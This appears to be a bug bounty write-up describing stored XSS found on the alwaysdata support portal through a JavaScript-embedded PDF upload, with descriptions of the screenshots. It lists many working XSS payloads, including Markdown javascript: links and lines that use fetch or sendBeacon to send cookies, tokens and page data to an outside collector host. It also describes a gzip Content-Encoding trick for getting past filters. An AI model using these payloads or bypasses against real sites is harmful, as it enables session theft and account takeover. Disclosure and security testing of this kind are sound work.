


As shown in below image, I thought to apply a basic `a=alert,a(1)` payload in Account name but there's a Filter that blocks payloads with tags & symbols as there are only Alphabets, Numbers & Hyphens allowed, therefore I encoded it into Base64. And, pasted in Technical Account name but it didn't work so I decided to move ahead to try on Support Section by Creating a New Ticket with that Encoded Payload.

The screenshot shows the DenCode website interface. The input field contains the payload `a=alert,a(1)`. The output section shows the Base64 encoded result: `YT1hbGVydCxxhKDEp`. The Base64 field and its value are highlighted with a red box.


As shown in below image, in Support Section I clicked on Open a new ticket, and I entered that Base64 Encoded Payload in Object Field, and then in Subject Field I entered `XSS Testing</script><script>alert()</script>` as a Payload, and in Message Field I kept all Markdown XSS Payloads as there's a Markdown syntax has been enabled, so I thought it might trigger execution of Payloads.

The screenshot shows the 'alwaysdata' support ticket creation form. The 'Object' field contains the Base64 encoded payload `yt1hbGVydCxxhKDEp`. The 'Subject' field contains `XSS Testing</script><script>alert()</script>`. The 'Message' field contains a list of XSS payloads, including `[Click Here](6a617661736372697074:alert('1'))` and others. The 'Object' field, 'Subject' field, and 'Message' field are highlighted with red boxes.

As shown in below images, there's also an option of Attachments so I choose a JavaScript Embed PDF File `js_injected_poc.pdf` which I created through a tool named JS2PDFInjector with basic XSS Payloads as below:
`app.alert("DJH4CK3R");`
`app.alert("XSS");`



As shown in below image, I've cross-checked everything in every INPUT Fields and decided to Submit all, but also I don't want any error on Submission with any kind of Filters or anything related to rules & policies regarding to Input or Attachment Fields, that's why I decided to use Content-Encoding: gzip method in submission with intercepting the request in Burp Suite.



As shown in below images, I've intercepted the POST Request of Submission in Burp and manipulated request with Request Header of Content-Encoding: gzip which can allow to bypass Blocking Filters in some cases without making any changes in Data/Content, as can be seen in request, there's gzip encoding is allowed.

The screenshot displays the Burp Suite interface with a request and response view. The Request tab is active, showing a POST request to /support/add/ on the host admin.alwaysdata.com. The Content-Encoding header is highlighted in red and set to gzip. The response view shows a 302 Found status with various headers including Server: nginx, Date: Fri, 13 Mar 2026 10:49:18 GMT, and Set-Cookie: sessionid=vrnk5fkn9t9lvj3kn7l2y3i6m8jdpbh...

As shown in below image, the modified request has been sent and response seems positive with 302 Found, which means the Payloads & Files got Submitted on Server-Side successfully, now I need to check which Payloads will be executed/triggered properly!

The screenshot shows a request with a large XSS payload. The payload is a long string of JavaScript code, including prompts, alerts, and window.onerror calls, all wrapped in a single document.cookie() call. The response view shows a 302 Found status, indicating a successful submission. The request and response views are both visible, with the request view showing the full payload.


As shown in below image, the Ticket has been Submitted successfully, now I need to check inside of it.

The screenshot shows the AlwaysData support portal interface. At the top, there's a navigation bar with the AlwaysData logo, 'Support', 'Documentation', and a user profile for 'Customer area mmnrgiemo027@deepask.app'. Below the navigation bar, there's a search bar and a '+ Open a new ticket' button. A sidebar on the left contains a search input with the text 'yt1hbgvydcxhkdep' and a list of categories: Usage, Web, Domains, Emails, Databases, Remote access, Environment, and Advanced. The main content area displays a message: 'Before creating a new ticket for our team, please make sure to check if the answer to your question is not already available in our documentation.' Below this is a search bar with '1 element(s)' and a 'Filter' button. A table lists tickets, with one ticket highlighted in red. The ticket details are: Opening: 13/03/2026, Subject: XSS Testing<script><script>alert()</script>, Last message: 3 minutes, Messages: 1, and a 'Close' button. At the bottom, there's a footer with the AlwaysData logo and two columns of links: 'Resources' (Administration, Documentation, API, Servers status, Changelog, Support us) and 'More' (Environment, Transparency, Alwaysdata Academic Cloud, Open source, Bug Bounty, Cookies management, Legal notices, Join us).

As shown in below image, as expected due to the Filters, Markdown XSS Payloads have been rendered as a Text only, there are no execution/trigger of Markdown Payloads, but the Malicious JavaScript Embed PDF File is also got uploaded, so need to check that also. By hovering over that attachment of js_injected_poc.pdf, I got a link of the pdf file which is hosted on AlwaysData's Admin Storage Server which is as below: https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf

The screenshot shows a support ticket reply. The URL in the browser is 'https://admin.alwaysdata.com/support/92563/#bottom'. The reply content is a list of XSS payloads, including: `[text](http://danlec.com "[@danlec]([danlec] ")`, `[a](javascript:this;alert(1))`, `[a](javascript:this;alert(1)))`, `[a](javascript:this;alert(1)))`, `[a](jvascript;alert(1)))`, `[a](jvas%26%2399;ript;alert(1)))`, `[a](javascript:alert(1)))`, `[a](javascript:confirm(1))`, `[a](javascript://www.google.com%0Aprompt(1))`, `[a](javascript://%0d%0aconfirm(1);com)`, `[a](javascript>window.onerror=confirm;throw%201)`, `[a](javascript:alert(document.domain)))`, `[a](javascript://www.google.com%0Aalert(1))`, `[a](javascript:alert("1"))`, `[a](jVaScRiPt:alert(1))`, `!a([https://www.google.com/image.png?onload="alert(1))`, `!a(["onerror="alert(1))`, `</http://<?php><h1><script:script>confirm(2)`, `[XSS](,alert(1;))`, `[](https://a.de?p=[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=-.])`, `[](http://a?p=[/onclck=alert(0.)])`, `[a](javascript:new%20Function`alvert`1` `;)`, `!x(x'onerror=fetch('https://xss.report/c/erminie?k='+document.location+'%3F'+encodeURIComponent(document.cookie)+'&d='+encodeURIComponent(document.domain)))`, `!x(x'onerror=fetch('https://xss.report/c/erminie?k='+btoa(document.cookie)+'&u='+btoa(location.href)+'&r='+btoa(document.referrer)))`, `!x(x'onerror=navigator.sendBeacon('https://xss.report/c/erminie?k='+document.domain+'+',document.cookie))`, `!x(https://www.example.com/x.png?onload=fetch('https://xss.report/c/erminie?d='+screen.width+'x'+screen.height+'&c='+encodeURIComponent(document.cookie)))`, `!x([data; "onload=fetch('https://xss.report/c/erminie?u='+btoa(document.location.search)+'&token='+btoa(localStorage.token || '')"))`, `!x([javascript:fetch('https://xss.report/c/erminie?js='+btoa(document.body.innerHTML.substring(0,100)))`, `!x(x%0aonerror=fetch('https://xss.report/c/erminie?n='+encodeURIComponent(navigator.userAgent)))`, `!x([<svg/onload=fetch('https://xss.report/c/erminie?svg=1&c='+document.cookie>)`. At the bottom, there's a red box highlighting the attachment 'js_injected_poc.pdf'. Below the reply content, there's a 'REPLY' button. At the very bottom, the URL 'https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf' is visible.

As shown in below images, I clicked on attached file and it got me redirected on https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf where the Malicious PDF File has been stored and it got also triggered successfully with Pop-ups of admin.alwaysdata.com says DJH4CK3R and admin.alwaysdata.com says XSS



As shown in below image, this has been confirmed as a Stored XSS with Malicious PDF Upload, and the impact can be seen on Support, Admin & Server End with further exploitations along with many more Payloads.

